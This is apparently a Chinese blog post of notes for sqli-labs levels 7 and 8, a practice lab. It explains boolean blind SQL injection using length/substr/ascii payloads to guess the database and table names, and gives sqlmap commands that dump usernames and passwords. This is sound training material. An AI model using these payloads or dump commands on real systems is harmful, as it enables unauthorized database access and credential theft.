当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第7-8关 布尔盲注

第七关

1.审题

这里判断出是'))闭合,但是页面只有正确和错误的回显状态,报错的回显也是固定的,没有显示报错具体信息。

这关使用的方法是布尔盲注。为什么叫布尔盲注?因为它返回的结果只有true和false 两个值,攻击者需要通过返回的布尔值去猜测结果,就像盲人一样。

2.思考

(1)猜长度

length()函数是计算字符串长度,先构造一个简单的语句。

//判断当前数据库名的字符串长度是否大于10;
?id=1')) and length(database()) > 10 --+

通过页面回显,可以判断数据库名称长度大于5但是小于10,利用二分法最后猜测出数据库名的长为8个字符。

已经知道了数据库名的长,假设再去猜测每一位上的字符,是不是就可以得到数据库名称。

(2)猜位的字符

substr()函数作用是截取指定位置的字符,ascii()函数作用是返回字符的ascii码值(0-255范围的整数)。

//判断数据库名称的第一位字符是否在大写字母范围内;
?id=1')) and ascii(substr(database(),1,1)) between 65 and 90--+

虽然ascii码的值是从0-255,但字母A-Z的范围是65-90,a-z范围是97-122。首先判断字符是不是字母,然后进一步缩小猜测范围。

这里判断出第一位字符是小写字母,再利用二分法猜测具体字母,最后得出首字符是s。

那么通过逐步猜测,就可以拿到数据库的名称。再结合limit()函数去枚举数据库下的表名,字段,最后拿到想要的数据。

//查询当前数据库下第一张表的首位字符是否为小写字母;
?id=1')) and 
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
) 
between 97 and 122 --+

3.做法

(1)手工注入

根据思考的逻辑去逐步猜测数据。

(2)工具注入

 sqlmap的简单使用

//查询数据库

sqlmap -u 'http://xx.xx.xx/?id=1' --dbs

//查询指定数据库security中的表

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' --tables

//查询指定表users中的字段

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users' --columns

//查询指定字段的数据

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users'  -C'username,password' --dump

 

第8关

这里也只有两种页面显示,图二没有任何回显,但可以理解为报错,实际上这关把输出报错的代码注释掉了。

判断出是单引号闭合,利用布尔盲注解题。

http://www.xdnf.cn/news/1108855.html

相关文章:

  • 一文理解锂电池充电、过放修复与电量测量:从原理到实战
  • Ubuntu安装Jenkins
  • 具身智能最有前景的方向之一“在线强化学习”新突破
  • arcgis投影后数据显示问题记录
  • 贪心算法题解——跳跃游戏 II【LeetCode】
  • 死锁的避免
  • LangChain 内存(Memory)
  • 创建uniapp项目引入uni-id用户体系使用beforeRegister钩子创建默认昵称
  • 9. JVM垃圾回收
  • 12. JVM的垃圾回收器
  • Agent 设计模式
  • 前后端分离项目的完整部署(Jenkins自动化部署)
  • 【从零开始编写数据库:基于Python语言实现数据库ToyDB的ACID特性】
  • 27.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--单体转微服务--币种服务(一)
  • Android下一个简单的定时器,每隔一秒输出一个数字
  • Syntax Error: TypeError: Cannot set properties of undefined (setting ‘parent‘)
  • vue3 canvas 选择器 Canvas 增加页面性能
  • Kimi K2万亿参数开源模型原理介绍
  • 【论文阅读】HCCF:Hypergraph Contrastive Collaborative Filtering
  • 缓存三剑客解决方案
  • 【C语言】回调函数、转移表、qsort 使用与基于qsort改造冒泡排序
  • 利用docker部署前后端分离项目
  • 敏捷开发方法全景解析
  • SQL server之版本的初认知
  • C#枚举:从基础到高级的全方位解析
  • 《通信原理》学习笔记——第一章
  • 《Spring 中上下文传递的那些事儿》Part 11:上下文传递最佳实践总结与架构演进方向
  • 基于MCP的CI/CD流水线:自动化部署到云平台的实践
  • Vue Vue-route (5)
  • Adobe Illustrator关于图标创建的问题